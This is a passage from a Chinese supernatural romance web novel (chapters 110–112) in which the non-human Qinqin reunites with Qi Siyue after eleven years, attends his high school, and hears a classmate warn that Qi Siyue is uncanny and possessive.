硬要说也是两个人都有问题,他没看到对方,对方也不知道他会忽然起来。 但现在别人主动赔他衣服,也没要他赔豆浆。 芩芩跟来,是他确实需要这件衣服,不然他要穿着这样的衣服去见11年没有见的朋友吗,那也太丢人脸了。 他又没有钱,一块钱也没有。 “talin,我的名字。也可以叫谈临,不过一般大家都叫我talin。” 芩芩沉浸在自己的思绪中,都没发觉他什么时候止步,差点撞上去,还好及时刹住脚步,老实说:“ta…lin,你好。” 谈临双手插兜,转过身对向芩芩,勾着唇角看他,芩芩也看他,两人大眼瞪小眼。 见芩芩是真茫然,谈临觉得好笑:“你没有什么要说的吗?” 芩芩小脸拧巴了瞬:“什么啊?” 谈临:“……懂礼貌的小孩这时候应该说自己的名字。” 诚实说,芩芩根本没想到还要告诉他自己的名字,但他一定不承认自己不礼貌,哪怕人类世界的经验为数不多,但他觉得自己是学会了礼貌的,他好歹也上学了。 他尴尬地咬了下唇,“我正准备说呢,我是以为你有话要说,我才等着的。我叫芩芩。” 谈临把一切尽收眼底,缓缓点头,“这样啊,qinqin?” 芩芩连忙按照祈斯越之前教他的说:“是草字头,下面是今天的今。” 一边说着他的手就忍不住抬起来笔画,又弱弱的垂下去。 谈临眼底闪过一丝笑意:“哦,那是我误会了,抱歉啊。” “没事……” 谈临对商场似乎很熟悉,径直带着芩芩进了家店,店里的销售人员衣着得体,态度谦逊。 在仅有的人类世界生活的时间中,芩芩从来没有进店买衣服,都是穿祈斯越家里现成的。此时难免有些好奇地打量。 谈临挑好几套衣服让他试,芩芩只飞快挑了件最普通的T恤,“这件就好了。” 他独自在试衣间换下红枣豆浆味的衣服,T恤略宽大,芩芩也不太在意,出去就想走,又被谈临递了件,他摇摇头怎么都不肯试了。 本该出了商场就分道扬镳,可电梯打开,映入眼帘的是停车场。 芩芩后退看了眼,电梯显示在负二层,是谈临按的,他只当按错了,正准备按回去。 谈临不经意般说:“我车在这,你去哪里我送你吧。” 芩芩收回手,看向他,眼睛一亮,“真的吗。” 他刚刚还在愁怎么去祈斯越家,太好了,简直就是瞌睡了就有枕头。 除了刚开始的那一杯豆浆,谈临带给他的,好像都是好事情。 坐进敞篷跑车副驾驶,芩芩绑好安全带,很认真感谢谈临,“talin,谢谢你。” “没事,出发了哦。” 天气变化莫测,芩芩没想到一出停车场,阴沉天空中细细密密,又下起了小雨。芩芩稍微有点急,连忙伸手遮在自己头上,于事无补地挡雨,怕淋到自己的新衣服也怕淋湿头发。 谈临说雨要下大了,他的车没有顶,要就近找个地方吃饭等雨停。 到了餐厅一直吃完大餐,芩芩都吃撑了,雨都没有半点停的意思,反倒越下越大。 谈临是个很善良友好的人,看出芩芩的窘境,还主动提出在楼上帮他开了房间,明天再送他。 芩芩心里真的感动了,等谈临离开后,在大床上翻来覆去又坐起,看到桌头柜上的袋子,里面装的是他的旧T恤。 明天带回祈斯越家里洗,之后还能穿。 昨天下过雨,哪怕今天天空已经放晴,惠罗高中的运动会依旧选择在室内体育馆举行。 数以千计的学生热火朝天,欢呼呐喊,整个体育馆内洋溢着活跃的青春气息。 体育馆中心正在举行射箭比赛,是对于普通人来说难度偏高的40米。 两个少年站在场中,一靶射出了他的第三箭。 “9环。” 王许霍脸上出了层汗,握握拳,射出了9环眼底也没有半分松懈。 他们不是职业选手,40米有这个成绩对他来说相当好了。 他和祈斯越的比分是1:1。 40米的距离他们两个前两场都没射出10环,这轮祈斯越已经落后他一环了,哪怕这次祈斯越同样射出9环,也输了。 可是最后一箭没落下,他还是不安。 除了他,观赛的人同样也是紧张。 所有人的目光都注视着祈斯越。 ——芩芩也是。 他略弯着腰,从人流缝隙中边往里挤,在心里暗暗给祈斯越打气,终于来到了看台边缘,视野顿时开阔,他长长舒了一口气。 祈斯越长高了非常多,要不是听到学生议论他,芩芩都不敢认,怎么一下子这么大一个了! 不过仔细看,五官并没有太多变化,只是更加成熟,看起来完全是个大人了。 祈斯越眉目沉静甚至隐隐透着倦怠,面上没表情,拉弓瞄准,动作却忽的一顿,若有所感。 他侧头望向看台,视线陡然定在一处,漆黑的瞳孔猛地收缩。 手中的箭冲出去,裁判还没报,他已经丢下了弓箭。 “10环!” 众目睽睽之下,芩芩被冲上看台的祈斯越一错不错看着,芩芩稍稍后仰,都盯出了几分尴尬来,只能小声提醒:“干嘛一直看我……” 太多人的眼睛集中在自己身上,芩芩像是被火烧,脸上粉白一片,感觉脑袋呼呼冒热气,隐隐约约都听到了别人在议论他是谁,还有一阵阵惊呼。 他对着祈斯越蹙起眉,低低的咬牙出声:“你别看我啦。” 可下一秒,面前高大的少年那对漆黑的眼睛泛起不正常的暗红,死死盯着芩芩,像是有什么努力压抑的东西破笼而出,又像是从灵魂深处松了口气。 “你回来了……”他声音低哑。 芩芩猝不及防被抱住,腰被手臂勒得紧紧的,都有点呼吸困难,他被迫稍稍仰起脸,感受到祈斯越的身体在颤抖,想让祈斯越松开他的话又咽了回去。 芩芩不知所措地抿抿唇,轻轻拍他宽大的脊背用作安抚,结果祈斯越颤抖得更厉害了。 第110章 第 110 章 梦臆 “他是谁呀?” “不知道……好白啊, 五官也好绝。” “他刚进来我就看到了,拍了照片,你看、” “不会是恋爱对象吧, 我靠, 长得…长得有点…” “我算是明白那句话了, 每个人都有想要热情的人, 他对你冷漠是因为那个人不是你~抱这么久还不松手,有那么好抱吗。” 男生察觉身旁来人, 啧啧两声, 侧头问。 “霍哥,你认识吗?” 王许霍还没来得及换下比赛服。他发觉自己输后, 额前汗湿的刘海被他弄得乱糟糟,和他现在的心情一样,烦躁不堪,“我谁都认识!” 这个距离祈斯越前面根本没有射出过十环!他怎么能想到? 刚刚祈斯越突然射了个10环就跑了, 留他在原地凌乱。 他又双叒输给了祈斯越了。 靠! 看到不远处跟拍电视剧似的场景,王许霍没有丁点欣赏的意思, 甚至有几分厌嫌,“这疯子还有朋友吗?肯定被他装出来的样子骗了。” 他抬头灌了口水,清凉消减热意。不远处的两人终于分开了,被祈斯越抱着的少年也露出了身形。 偏瘦, 胳膊很白, 露出的脖颈更白。 他漫不经心地看,往上——一张无可指摘,所以让人很难忘记的脸。 手中的矿泉水瓶被控制不住的力道捏得变形。 王许霍半天才喃喃,眼底震动,“……公主?” 回家的车上, 两人坐在后座。 祈斯越已经恢复了平静,黑眸盯着前方的路段。 芩芩将视线从窗外挪回来看向他,靠在靠椅上,对比着他与记忆中的差距,看向他的眼神忽然带了点小感动。 因为对于人类来说,11年太久了,久到个子高了一倍不止,祈斯越不仅没有忘记他,看起来还深深记得他。 好祈斯越。 “直接走掉可以的吗?”芩芩忽然想到运动会,应该还没有办完。 祈斯越张开嘴片刻才有了声音,早过了変声期,声音已经和小时候截然不同了,像两个人,低沉又艰涩,“没事,我只有射箭。” “哦……” 芩芩不知道说什么了,他摸摸脸颊,尴尬垂下眼睛。 不仅声音变了,外貌变了,感觉相处起来也好像生疏了。 问这些年过的怎么样?那场绑架坏人被抓了吗?他有没有因为自己的忽然消失而害怕? 可想说又觉得不合时宜。 两人一起吃了顿安静的饭。之前的李阿姨和刘阿姨已经不在了,祈斯越说她们已经退休回家了,芩芩心里生出失落的情绪。 也见到了新的阿姨,姓高,个子也很高,比芩芩还高,很热情率真。 祈斯越又带他去了游戏房,说想玩游戏可以自己选,有最新款高配置的电脑,各种游戏机。 芩芩害羞表示他已经看过了,他是先回了家里,祈斯越不在,他通过祈斯越的课表知道了他的学校,出去发现朋友还没走,就让朋友送他过去了。 “朋友?”祈斯越呢喃重复,他低着的眼底晦暗不明,看向芩芩时又状似平常,“买衣服的朋友吗?” 芩芩点了下头,脸上扬起笑容,“对,你怎么知道我买衣服了!” 祈斯越嘴角扯了扯:“刚刚在卧室看到了袋子。” 芩芩眼睛亮晶晶的,两人一起往卧室走,芩芩白皙的手指抓住祈斯越的袖子,兴冲冲讲起和谈临的相遇过程。 “是不是很巧?他人很好的,要是再碰到他了,我们可以一起玩。” 祈斯越缓缓点头,侧头微低看芩芩,露出个很符合年纪的笑,“好啊。” 他的笑容让芩芩心里放松许多,比起孤僻的小时候,祈斯越似乎变得开朗些了,还参加比赛呢。 芩芩松开祈斯越的袖子往下一滑,被祈斯越刚好握在了手心。 他垂着眼睛看两人交握的手,没察觉到祈斯越滑动的喉结、僵住的手臂。他也不是故意的,只是芩芩擦过他手的瞬间,他本能就握住了。 芩芩小声嘀咕:“你的手怎么这么大?还有、手背上这是什么?” 祈斯越又闻到了熟悉的香味,十一年,未曾消失过。靠着回忆不停重塑模拟,直到今天像是从梦中钻出来了。 他的胸腔喉管莫名喘不上气来,震颤抖动,这种感受太怪异又折磨,让他回答芩芩慢了一秒,“是静脉血管。” “哦。”芩芩知道就不感兴趣了。 抱着被套路过的高阿姨看着他们两人随意牵着的的手,瞳孔地震,祈斯越回头淡淡看了眼,她什么也没说,如她悄悄的来,悄悄走了。 芩芩很快投身到了游戏的世界,他不在的时间里,游戏世界又进化了,进化到了荒谬的地步。现在已经可以戴着眼镜,仿佛身处另一个世界中!无比真实。 芩芩克制着兴奋,乖乖并着腿坐在沙发上,在祈斯越指导下感受这个新奇的世界,手臂在空中滑动。 vr眼睛一戴,他本就小的脸遮住大半,粉色的唇震惊微张。 手机亮起,祈斯越打开看了眼,是高阿姨发来的消息。 高阿姨:有个同学来找你,叫王许霍,说是你的同班同学,让进吗。 祈斯越垂着黑沉眸子,单手打字:不认识。 艰难劝走堵在门口非得进来的王许霍,高玲玲长松一口气,疲惫地躺在沙发上发呆,看了眼手机上的电子黄历。 今天是什么日子,少爷居然有两个朋友上门,虽然后面这个是假的,但已经够离奇的了。 长得跟明星似的,还牵着手……哎呦,真羞,年轻就是好。 夜里洗了澡,芩芩被热气蒸过的脸蛋白里透红,换了身舒服的睡衣。祈斯越这里有空调,盖层被子也不热,反倒刚刚好很舒服。 他还是很亢奋,没全部从游戏世界拔出来,要不是祈斯越叫他洗澡睡觉明天再玩,他真不知道要玩到什么时候。 芩芩滚一圈缩进被子里,枕到自己头上,说来也巧,他今天回来的时候就发现祈斯越床上摆着两个枕头,晚上刚好用上了。 祈斯越洗漱完,走近床边,高大身体把本就不明亮的门口顶灯又遮了大半。 他站在床边,好一会没动作。芩芩刚想问句怎么了,祈斯越掀开被子一角,动作缓慢躺进来。 面对大了好几号的祈斯越,芩芩有点不适应,别别扭扭的。 除了祈斯越的身体,还有一个原因——床的大小没变,所以现在大号的他们躺在上面没有以前宽敞了。 但由于他们之前一直都是这么睡的,芩芩倒也不觉得奇怪。 在关灯后,还往祈斯越的方向靠了靠,照例小声说了句:“祈斯越,晚安呀。” “……嗯,晚安。”祈斯越又补了一句,“芩芩。” 叫他洗漱时还闹着说睡不着想玩游戏的人,须臾的功夫,呼吸声就平稳下来。 祁斯越:“芩芩。” 没有任何回应,已经睡着了。 祁斯越异常清醒,心跳如擂鼓,扑通扑通个不停。盯着黑暗熟悉的天花板,恍惚间觉得自己在梦中。 身旁的人瘦软,被子一盖小小一团。 他那时候太小,哪怕拥有非人的记忆力,回忆起来总觉得背着他的少年高。直到现在看到才切实知道他的体型。 不是梦,因为梦里他从没意识到这点。 手心不自觉覆盖在被子上,隔着单薄的被子,似乎隐隐能触碰到他的体温,又好像触碰不到。 这个念头让祈斯越忽然后背渗出层冷汗,他从被子里伸进去,皮肉贴皮肉的触摸到,那份怀疑才有所缩减。 一一确认。 皮肤、体温、脉搏、心跳、呼吸。 他坐起来弯着背,在黑夜里,像一只低头确认什么的野兽。他鼻尖凑到芩芩的脖颈间嗅闻,温热的香味从皮肉散出来,闷在被子里。 味道。 不是在做梦。 天光熹微,祈斯越却陷入真正的梦。 青涩的欲望是少年的代名词,毫无预兆,又合情合理。 梦里的场景跟现实中一般无二,他像往常坐在书桌前,盯着一块地方,那个人坐过的地方。 他清晰记得对方在家里待过的每一个角落,做的每一件事情,每一个姿势与表情。 他眼睛忽然被一双手蒙住,莫名的,梦里他第一时间就知道来人是谁,艰涩出声:“芩芩,你回来了。” “我洗好澡了,明天再玩游戏,睡觉吧。” 芩芩翘着嘴巴,表情还有些不大情愿,闷着脸转身上了床。 祈斯越边跟着他上床,边解释:“明天还要去学校,已经给你办好了,你也要去上学,所以要早点睡,早点睡对身体和精神也好。” 他刚躺下,芩芩忽然翻身坐在他身上,皱着眉居高临下看他。 祈斯越喉结滚动,下意识躲避,却控制不住自己的反应,已经不对了。 芩芩轻松发现,身体动了动,眼神却很单纯懵懂,问他这是怎么了,怎么感觉像被东西戳着,让他很不舒服。 天彻底亮了。 祁斯越从卫生间出来的时候,芩芩还在睡,侧着身子,雪白的腮肉被挤压,睫毛合着。 他用毛巾擦头发,表情没什么变化,拿起手机,按下拍摄键。 · “不想上学……”调子拖得长长的,芩芩靠在车座椅上仰头说。 陪幼儿园祈斯越上学到陪高中祈斯越上学,于他而言就是一夜之间。他根本没好奇心,能有什么两样? 什么样的学他都不想上! 祈斯越偏偏说了句:“快到了。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 110-120 第111章 第 111 章 公主 很烦。 当年也是这样的场景。 仿佛磁场中心, 一旦出现,还没落座,就会有一圈人自动围在他身边, 吸引走他的注意力。 烦, 他们好烦……烦。 像一群苍蝇。 刚进教室门口, 没走几步。芩芩面前忽然凑上来十来张陌生又善意的面孔, 笑着和他打招呼问话,都是班里的同学。 芩芩先是大脑宕机的懵, 愣了两秒, 看出大家并没有恶意,他才露出一抹生涩又稚嫩的笑。 热情仿佛得到了当事人的许可, 愈发扑面而来。 他们的问题太多,问他叫什么名字,姓什么,是哪里人, 之前在哪里上学…… 左一句右一句,芩芩脑子都要晕了, 一边笔画回答道:“我叫芩芩,草字头下面是今天的今,我姓什么?哪里人?……上过幼儿园。” “嗯?你姓芩吗?还有这个姓?” “什么幼儿园哈哈哈” “本地人吗?还是哪里哒。” “有人说过你很漂亮吗?” …… 芩芩要招架不住了,他往后退两步, 连忙攥住祈斯越的手指, 求助地望向他。 救救我!救救我! 祈斯越黑沉沉的眼睛仿佛压抑着什么东西,又在芩芩看过来的一瞬敛去所有浮动,对着他露出个淡而无奈的笑。 他将芩芩的手虚虚握在手心,是个很适合朋友的状态。 他转头笑着对同学们,语气温和的说:“可以麻烦让开吗?快上课了, 我们得回到座位上去了。” …… 芩芩没想到祈斯越轻飘飘一句话这么管用,像是突然被按下静音键,原本围着的同学们安静几秒,就四散离开了。 他轻轻呼出一口气,虽然还能感受到一些视线,但呼吸通畅多了。 芩芩转头对着正在看他的同学笑了笑,完全是出自下意识,他不是排斥同学们,仅仅是招架不住,或许稍微熟悉一些之后再问他,他比较能接受。 他们的位置是右侧靠窗户的第四排,视线越过走廊,可以看到校园绿树成荫的风景。 祈斯越示意他往里边坐,芩芩听话坐到椅子上,手抓着椅子边,眼睛转动观察着整个教室,这种感觉对他来说很陌生。 “你人缘好好啊,说让大家让开大家都让开了。”芩芩凑向祈斯越,压低声音小声说。 祈斯越拿水杯给芩芩,半点不心虚,“嗯,不过快上课了,他们也确实该回座位上了。” “可是还有好多座位空着呢。”不到一半,也有一小半。 祈斯越回头看了眼,对芩芩说迟到的学生不是好学生,小心被带坏了。 铃声响起的同时老师踩着点进来,同学们基本都坐到座位上了,老师站在讲台上介绍芩芩,班级里一片空白的安静两秒,随即不知道是谁的鼓掌,引发起轰轰烈烈的鼓掌声,其中夹杂几声莫名其妙的欢呼叫喊。 芩芩瞬间就连带着脸和身体都热了,站起来打了招呼。 后门被开的声音不小,放肆的“嗵”一声,芩芩转头去看,是一个男同学闯进门。 芩芩认出来,是和祈斯越比赛的少年,像是剧烈运动过,皮肤隐隐发红,发丝有些汗湿。 对方与他撞上视线,原本烦躁的眼睛瞬间放大,定在原地,好像认识他。 只当是迟到的同学,芩芩收回注意力坐下,祈斯越给他打开了杯子,他就下意识含着吸管喝了口水。 “王许霍,别在那站着了。要是罚你,一学期迟到800次,得站到明年。”老师没好气教训他。 芩芩咬着软吸管看过去,被教训的人还在看他,不仅没因为老师的教训羞愧,还边三步并作两步回到座位,边对芩芩露出个笑,对老师说:“老师,我扶了好几个老奶奶过马路,也不是故意迟到的,我是干好人好事去了啊。” 学生又开始哄笑。 老师咬牙忍住,好不容易把他们压下去开始上课。 如同天书,芩芩根本听不懂,又无聊,只能找祈斯越玩,给他书上画画。随后又在纸上玩起了五子棋。 祈斯越可真笨,有时候他马上就赢了都发现不了。 上课的时间太漫长,哪怕下五子棋赢了好多次都打发不了。 下课铃声一响,芩芩就对祈斯越抬着眼、做出一副快要哭不哭的表情,“好无聊啊,你喜欢上学吗,我不想上学了……我想回去,我玩游戏在家等你不行吗?” 可怜兮兮的。 看起来真的被课堂折磨得难熬。 所以祈斯越一时没有说出话来。他不在,他不知道芩芩又会因为无聊去哪里,去做什么。 可让他留下来又太自私,他已经表达出不愿意,那样反倒会逼走他。 祈斯越指甲嵌进皮肉,不算强烈的疼痛可以稍微压制他的焦躁。 …… “就今天,好不好?” 祈斯越的话一出,芩芩立刻从委屈表情中解脱出来,不装了,表情控制不住的臭屁,“好!那我今天晚上要玩游戏,你自己睡觉吧,我肯定会戴耳机的,不会打扰到你。” “开心了?” 祈斯越看着他的表情,原本的干燥得似要着火的情绪像是被清凉的水浸透,他唇角略勾,按压着手上留下的痕迹,克制想去摸他脸颊的冲动。 没关系,先实验一下,如果有问题再解决。 “公主~!”一句吊儿郎当的喊声。 芩芩下意识就觉得在叫自己,可当他看过去时,那里有好几个男生,立刻对他露出笑容,还有进出的同学,他一时又找不到是谁喊的。 今天迟到的王许霍急匆匆从后门跑出教室,不知道要去干什么急事。本来芩芩还觉得像他的声音,看他的表情又觉得不是他。 芩芩又看了别人,摸了下脸颊,觉得有些蹊跷。 “刚刚好像有人叫我,你听到了吗?” 祈斯越收回视线,轻笑一声,“公主?” “你也听到了,是有人叫我吧。”芩芩巴巴看着他,表情认真。 祈斯越点点头,语气平静又像在调侃他,“可惜了,芩芩公主。我们班里,现在应该只有我有可能这么叫你。” …… 听到芩芩耳朵里,略一加工,就是,你自作多情了,居然把自己当公主,那是叫别人的,你居然那么顺理成章的当是自己,还认真的找! 芩芩一愣,眼睫眨了眨,白腻脸上肉眼可见转瞬就变得一片红,连发丝中藏着的耳朵尖都红了,他一下话都说不出来,半天才结结巴巴,“我,我误会一点也不奇怪啊,之前王子他们一直那么叫我,我习惯了,我觉得是在叫我不奇怪吧。” 沉默片刻,祈斯越刻意忽略了他话里的别人,凑近一点,“不奇怪啊,公主。” “不要乱叫了…”芩芩有点想生气了。 眼看着芩芩白白粉粉一片潋滟的脸,祈斯越想,这个世界上一定没有一个人忍得住,所以不能怪他。 “真的不奇怪,我觉得很适合你,公主,误会别人在叫你是正常的,芩芩公主。” 芩芩生气地斜斜瞪他一眼,一转头,趴在自己手臂向着窗户那边,不看他了。 他一直在挑衅! 芩芩真的被气到了,这个祈斯越抓着一个点就不放,故意嘲笑他! 简直可恶。 难道他就不会有误会什么的时候吗? 不理这个人了。 “我错了。” 毫无诚意。 “我不是故意的,你生气了吗。” 当然了。 “再也不这样了,我和你道歉,对不起,芩芩,放学带你去超市好不好?” 芩芩慢吞吞转过头,敷衍说:“哦……” “芩芩原谅我了吗?”祈斯越心里仿佛化作一滩湿乎乎的粘液,又化作黏在芩芩身上,一切都变得黑白虚化,只有他鲜活明亮绚烂,睫毛扇抖的细节也被放大。 胸腔内不断膨胀,几乎要从喉中冲出的怪异感受,麻痒却不痛苦。 不受控的梦境。 一切都在告诉他,他喜欢这个人。 几乎没有任何挣扎纠结,他轻松就确认了,时隔11年,再次见到芩芩的第二天,祈斯越确认自己喜欢他。 “再说吧,你一句话我就要原谅你吗…”芩芩起码用正脸对他了,虽然眼睛没有看他,泛红的脸也板着。 祈斯越发出很轻的笑音:“那我会好好努力。” 放学逛超市,芩芩也没收敛,他知道祈斯越在人类世界属于有钱的类型,根本不怕浪费他的钱。 再加上他不在的时间里,这个世界确实又多了很多新鲜东西,他们满载而归,把原本不算充盈的大冰箱塞了个满满当当。不需要放冰箱的,都放到了柜子里去。 芩芩满足了,尝了好多零食,导致晚上都吃不下正餐。 他想,要是玩腻了,他就回去,让世界再发展几年再出来,就又有新鲜的东西了。 他随口一说,没料到祈斯越会突然死死盯着他,握住他的手腕,恨不得把他吃了一样,无声盯着他,好一会才说:“这样,这样不好。” 芩芩被吓了一下,觉得他把事情想的太恐怖了,反正祈斯越也大概知道他的身份,就直接跟他解释了。 只要还有能量回去就没事,对于人类来说就像睡觉,但又不同,还有一层更高的意识会在,但不是人类的这种意识。 就算像上次一样能量耗尽了,也没关系,会睡得久一点。 “如果有下一次,多久?十一年?” 芩芩思考一下,“差不多吧……不过还有一种情况,应该不会遇到。我上次来就以为会遇到,嘿嘿,是我当时不了解这里,实际上不太可能。” “什么情况?”祈斯越问。 “因为什么原因,回不了家了吧……我就可以割舍掉一部分精神回去,但那样会睡得更久吧。”芩芩眉心稍蹙,想想就不是件开心的事。 祈斯越追问:“多久?” “不知道。”芩芩还没经历过。 祈斯越松开他的手腕,顺着握住了他的手,“不会的。” 芩芩没发觉到他的手指在细微的抖。 屏幕熄灭。 祈斯越俯身抱起芩芩,没什么重量,软若无骨地靠在他肩膀,但还没完全睡着,掺着鼻音声音很小,“要喝水。” 已经放开了让他玩,也没玩多久,就趴沙发上眼皮打架了。 祈斯越说:“先把你放床上。” 放下人,他拿了芩芩家里用的水杯上床。 芩芩躺在床上后反倒清醒一些,手肘撑着,接过水杯喝了两口,递还给祈斯越,又瞬间软躺回去。 芩芩没有在注意他。 祈斯越看了两秒后,就着同个位置喝了下去,把水杯搁在床头柜,转身将昏昏欲睡的人虚抱在怀里,毫无睡意。 芩芩迷迷糊糊一觉睡醒,翻了个身,打开祈斯越放在床头柜的手机,都已经是下午一点多了。 昨天逛超市的时候,祈斯越说请的是病假,什么时候想回去就可以回去,不想回去就可以不回去,生病这东西谁说得准。 芩芩在自己的美好设想中,他一个人玩一天游戏,时间会过得很快很美好。 但事实上并没有,砍树、打僵尸、修房子。玩了两三个小时他就产生了倦怠。于是又拿零食来吃,捧着祈斯越的手机,百无聊赖躺在沙发上。 祈斯越回到家,芩芩就忍不住跟他说:“明天我要去学校……不过我要带手机。” 祈斯越深深看着他,“好。” 就是这样的,却受限才越上瘾,不能让他觉得被控制,有压力。 祈斯越抬手摸摸他干净的脸颊,“今天一个人做了什么,脸上都蹭上了灰。” 接下来的一周,芩芩发现,还是想去就去,不想去就不去最舒服。 为了他不去学校的时候方便联系,芩芩拿到了自己的第一部手机,有了自己的第一个账号。 坐在自己位置上,芩芩想了想,看着校园中勉强算是同类的树,咬着舌尖,慢吞吞打字起名【我是一颗小树苗】。 翻阅着自己加上的好友,都是班里的同学。芩芩担心认错他们,趴在桌子上,一个个给他们改备注。 有同学喊祈斯越有老师叫他,祈斯越说要说出去,芩芩随口应声,注意力都在复制备注,粘贴备注,回消息上。 直到有人来到他身边祈斯越的位置上,语气又急又快地喊他,“公主!” 芩芩改备注的手顿住,抬头看向来人,是之前和祈斯越比赛的同学,后来还迟到过几次,祈斯越说他是坏学生的类型。 他表情急切,连连看向门口,好像有什么恐怖的东西会进来,“和我来,我有重要的事情说!” 见芩芩没什么反应,他常年打篮球的大手握住芩芩瘦白的手腕,拽了一下。 芩芩快速收起手机,半被迫跟着对方出去,他也好奇对方要说什么,还……这么叫他。 所以上次不是他误会。 办公室里没人,装潢讲究,不像普通老师的办公室。 少年迅速反锁门,靠在门上气喘,盯着眨巴眼睛的芩芩问:“公主,你不记得我了吗!” 第112章 第 112 章 蛇舐 片刻, 芩芩看着面前少年这张称得上英俊的脸,脑海中浮现起一个小孩,一个有些霸道骄傲, 叫他公主的小孩。 于是, 两个不甚相似的面孔叠在一起。 芩芩有些惊讶地微张嘴巴, 脱口而出:“你是王子?” “是我!”听到他认出了自己, 王许霍异常激动,脸上涨红, 直接冲上来一把抱住了芩芩。 灼热体温侵袭过来, 芩芩的胳膊也被他激动的桎梏住,试着推了推, 动弹不得。 芩芩有点无奈,但毕竟不是第一次了,所以接受度高了些,还有闲心感慨, “你怎么长这么大了,和小时候一点都不像, 我都没有认出来。” 想想真奇妙,见了好几面不熟悉的同学居然是长大的王子,而他们在一个教室中待了这么久,都没有把对方认出来。 “我还以为你已经完全把我忘了。”王许霍语气中似乎有点委屈, 但也只是转瞬即逝, 因为比起叙旧他有更重要的想和芩芩说。 他松开芩芩的身体,又双手握着他单薄的肩膀,语气紧迫,“我有话对你说,真的是, 你怎么又跟祈斯越走到一块了?你们这么多年没有断过联系吗??你怎么不联系我呢?” 他的提到祈斯越明显不是善意的口吻。 王许霍眼神探究地看着芩芩,芩芩总不可能真的告诉他,抬着眼睛,大脑飞快想了想,结结巴巴说:“没有啊,没有联系,是前段时间……我们在便利店遇到了。” 王许霍并没露出怀疑,看样子一说就相信了,但面色仍没有放松,上扬的眉毛显得有些凶,“我看你们都是一起来学校的,你是不是又住他家了?我去他家找你,他家保姆都不让我进去,我想告诉你尽快离他远点,他这个人特别邪门,你知道吗!一定要快点搬出去。” 机关枪似的,芩芩忍不住眨眨眼睛,迟钝“啊?” 芩芩一时不太明白他的意思,但捕捉到了那句“邪门”,他为什么这么说祈斯越,祈斯越不过就是一个比较内向不太爱说话的少年,“你不要这么说他……” 王许霍一怔,语气愈发激动,“你不相信我吗?是真的!第一天在运动会上我就认出你了!但是我为什么我到现在才和你说话,是因为我总是要去找你,然后我就突然忘了!” 说到这,他自己不相信自己说的话,然而事实就是这样。 “我就不知道自己要去做什么!之后才能反应过来,但是你看,我支开祈斯越再找你就没事了,怎么可能跟他没有关系呢?但是你们天天黏在一块,我根本没有机会!刚开始几天我也没有反应过来,还是我妈觉得我不对,给我请了个牌子,你看。” 说着,他单手从领口中拉出一个小小的木吊牌,上面刻着看不懂的纹路,芩芩确实能感觉到其中蕴含着某种能量。 他这么一大串,再加上吊牌,把芩芩有些唬住了。 他记得,那天确实听到他叫公主,但是回头去找,只看到了王许霍急匆匆出了教室。 可是把这些按在祈斯越身上还是有些荒谬。 “你相信我啊,最好先来我家住……我家没人,而且,你可以去他家翻翻,他、”王许霍的话语诡异又突兀的止住,可表情还维持着激切。 办公室内骤然间变得极度安静,甚至可以听到远处学生的喧闹声。 芩芩被陡然蹊跷的暂停带着有些紧张,咽了口口水,小声问:“翻什么?” 接近着。 是门被指骨叩动的声音,不紧不慢,一下又一下,在寂静的空间格外清晰。 像一个个小石子,极富节奏,砸在门上。 芩芩歪头越过王许霍看去。 “芩芩,开门。”平静却隐隐带着压迫感,是祈斯越的声音。 芩芩不知道是不是自己的错觉,突然冷森森的,预感不太妙。 也或许是被王许霍的话带的,芩芩才会产生这种感觉。 因为祈斯越只是当着王许霍,牵他回教室,对王许霍的存在视若无睹,一秒钟的眼神都没落上去,“要上课了,怎么不回教室?” 祈斯越没有主动提到芩芩和王许霍的对话,但芩芩觉得祈斯越肯定是听到了的。 到晚饭时,往日香甜的白糯米饭都有些食之无味,芩芩觉得他虽然平静但像潜藏着什么,颇有几分剑悬在头顶的感觉,终于忍不住问:“你今天怎么不问我们两个说什么了?” 对面的祈斯越抬起眼,停了几秒,很平静的说:“说我坏话。” “不是!”芩芩感觉被重重误解了,放下勺子,急忙解释,“我没有说你坏话。” “嗯,是他。”祈斯越认真说:“他一直很讨厌我。” 芩芩顿了一下。 “我不知道他和别人说了什么,不过很成功。你之前觉得我人缘好,叫他们让开他们就让开了,实际上,是因为他们不想和我产生交集。”祈斯越黑瞳盯着餐桌,又看向芩芩,“你也觉得我很奇怪吗?” 芩芩反应过来,摇摇头,下意识说:“当然不会。” 他想起,在学校的几天,他确实没发现祈斯越有关系亲近的朋友,也没人主动找他说话。 可那种眼神……并不是嫌弃,更像人面对危险时候的眼神。 对人类来说,变得奇怪或许也是一种危险? 还有王许霍说的,翻什么东西?那是什么意思? 芩芩有些好奇,这个房子里大多数地方他都看过,并没什么地方奇怪。 趁着祈斯越洗澡,芩芩趁换新睡衣的时间踌躇,一个人又去漫无目的看了看,依旧没任何异常的东西。 心底的怪异却没消失。 赶在祈斯越洗完澡前,芩芩装作什么都没发生,轻手轻脚上床,闭上眼睛。 本来是装睡,结果没撑住,就这么一觉睡了过去。 夜里。 芩芩做起了一个湿而黑的梦,近在咫尺的距离似乎有蛇游走。 那是一种动物,他在游戏里看到过,细长、滑腻腻的,还有和身体一样细长的蛇信子,在角落中闪着寒光的无机制眼睛。 他禁不住轻轻蹙眉,潮湿的蛇信子在他脸上肆虐,他想要睁眼看,又被睡意拉扯。 睫毛也好像湿了,被蛇舔湿了。 芩芩害怕,他怕蛇会吃了他,他知道蛇能吞下巨大的猎物,再在漫长的时间缓慢消化。 而且这条蛇似乎已经对他动了吞下去的念头,不然怎么会舔他。 不行,他不要被吃! 他越这么想,那蛇就仿佛对他张开了黑洞一样的大口,还有两根闪着寒光的毒牙。 芩芩被吓得睁开眼,一片黑暗。 他思绪回笼,意识到自己在床上,刚刚在做梦。 松了口气,他眼眸一转,猛然察觉面前一个黑漆漆的人形轮廓,一动不动。 强烈的被注视感证明,对方在盯着他,差点让他觉得还在做梦。 芩芩心漏跳半拍,呼吸略急,张嘴半天才有声音出来,喘息道:“祈斯越……” 黑色轮廓似乎微动了下,才开口说话:“怎么了?” 温柔的声音让芩芩的慌张平复大半,浑身轻松下来,松了口气,随后演变成了愤怒与委屈,“你要吓死我了,你不睡觉干什么啊。” 都给他吓清醒了。 祈斯越语气好笑说:“怎么怪上我了?我听到你说梦话,想知道你在说什么,你被梦吓醒成我吓得了?” “……” 有点道理,因为芩芩确实做了个噩梦。 芩芩无话反驳,侧开视线,哼哼一声,他没注意自己本意是埋怨的语气多像撒娇,“半夜看我,就是很吓人啊。” 